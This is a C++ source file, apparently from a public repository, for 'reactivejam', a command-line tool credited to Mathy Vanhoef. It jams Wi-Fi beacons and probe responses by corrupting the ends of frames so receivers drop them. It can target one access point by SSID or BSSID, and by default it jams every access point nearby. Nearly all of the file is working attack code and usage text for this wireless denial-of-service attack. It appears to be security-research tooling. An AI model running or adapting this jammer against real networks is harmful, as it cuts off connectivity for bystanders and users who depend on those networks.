-
Notifications
You must be signed in to change notification settings - Fork 15
/
reactivejam.cpp
222 lines (179 loc) · 4.78 KB
/
reactivejam.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include <stdarg.h>
#include <getopt.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdexcept>
#include <iostream>
#include "osal_wi.h"
#include "util.h"
#include "ieee80211header.h"
#include "MacAddr.h"
struct options_t {
char interface[128];
MacAddr bssid;
char ssid[128];
int seconds;
int config_phy;
} opt;
struct global_t {
bool exit;
} global;
char usage[] =
"\n"
" reactivejam - Mathy Vanhoef\n"
"\n"
" usage: reactivejam <options>\n"
"\n"
" Reactively jam beacons and probe responses. The end of the packets will be corrupted.\n"
" Hence the CRC of these packets is invalid, and they will be dropped by the reciever.\n"
" By modifying the firmware any type of medium/large packets can be targetted!\n"
"\n"
" To detect corrupted frames in monitor mode: iw wlanX set monitor fcsfail\n"
"\n"
" Attack options:\n"
"\n"
" -i interface : Wireless interface to use as the jammer (must be in monitor mode)\n"
" -s ssid : SSID of the Access Point (AP) to jam. If not specified, all\n"
" access points will be jammed.\n"
"\n"
" Optional parameters:\n"
"\n"
//" -p rateid : Transmission rate ID for the jamming packet\n"
" -b bssid : MAC address of AP to jam (instead of SSID, e.g. to jam hidden network)\n"
" -t sec : Jam interval duration in seconds. Jamming can only be stopped\n"
" between intervals since the dongle CPU is busy when jamming.\n"
" The downside is that _between_ intervals some frames will be\n"
" missed and hence won't be jammed.\n"
"\n";
void printUsage()
{
printf("%s", usage);
}
bool parseConsoleArgs(int argc, char *argv[])
{
int option_index = 0;
int c;
static struct option long_options[] = {
{"help", 0, 0, 'h'}
};
if (argc <= 1) {
printUsage();
return false;
}
// default settings
memset(&opt, 0, sizeof(opt));
opt.seconds = 30;
while ((c = getopt_long(argc, argv, "i:s:b:p:t:h", long_options, &option_index)) != -1)
{
switch (c)
{
case 'h':
printUsage();
// when help is requested, don't do anything other then displaying the message
return false;
case 'i':
strncpy(opt.interface, optarg, sizeof(opt.interface));
break;
case 's':
strncpy(opt.ssid, optarg, sizeof(opt.ssid));
break;
case 'b':
try {
opt.bssid = MacAddr::parse(optarg);
} catch (const std::invalid_argument &ex) {
std::cout << ex.what() << std::endl;
return false;
}
break;
case 'p':
printf("Rate selection of the jamming packet is not yet implemented.\n");
opt.config_phy = atoi(optarg);
break;
case 't':
opt.seconds = atoi(optarg);
break;
default:
printf("Unknown command line option '%c'\n", c);
return false;
}
}
if (opt.interface[0] == '\x0')
{
printf("You must specify an interface to just for jamming (-i).\n");
printf("\"reactivejam --help\" for help.\n");
return false;
}
// Set a broadcast MAC address to instruct firmware to jam all APs
if (opt.bssid.empty() && opt.ssid[0] == '\x0')
opt.bssid = MacAddr::parse("01:00:00:00:00:00");
return true;
}
int find_ap(wi_dev *dev)
{
uint8_t buf[2048];
ieee80211header *beaconhdr = (ieee80211header*)buf;
size_t len;
int chan;
len = get_beacon(dev, buf, sizeof(buf), opt.ssid, opt.bssid);
if (len <= 0) {
printf("Failed to capture beacon of target AP\n");
return -1;
}
// Update options based on captured info
opt.bssid = MacAddr(beaconhdr->addr2);
beacon_get_ssid(buf, len, opt.ssid, sizeof(opt.ssid));
// Check channel of network
chan = beacon_get_chan(buf, len);
if (chan == -1) {
fprintf(stderr, "Failed to read channel from beacon\n");
return -1;
}
if (chan != osal_wi_getchannel(dev)) {
printf("Changing channel of %s to %d\n", dev->name, chan);
osal_wi_setchannel(dev, chan);
}
return 1;
}
int reactivejam(wi_dev *jam)
{
if (opt.bssid.multicast())
{
std::cout << "Jamming all APs nearby (beacons and probe responses)\n";
}
else
{
if (find_ap(jam) < 0) {
fprintf(stderr, "Unable to find target AP\n");
return -1;
}
std::cout << "Jamming " << opt.bssid << " SSID " << opt.ssid << "\n";
}
std::cout << "\n >> Press CTRL+C to exit << \n\n";
while (!global.exit)
{
fprintf(stderr, "=========== JAMMING =============\n");
if (osal_wi_jam_beacons(jam, opt.bssid, opt.seconds * 1000) < 0)
{
fprintf(stderr, "Something went wrong when issuing the jam command\n");
exit(1);
}
}
return 1;
}
void handler_sigint(int signum)
{
global.exit = true;
fprintf(stderr, "\nStopping jamming, please wait ...\n");
}
int main(int argc, char *argv[])
{
wi_dev jam;
if (!parseConsoleArgs(argc, argv))
return 2;
signal(SIGINT, handler_sigint);
if (osal_wi_open(opt.interface, &jam) < 0) return 1;
reactivejam(&jam);
osal_wi_close(&jam);
return 0;
}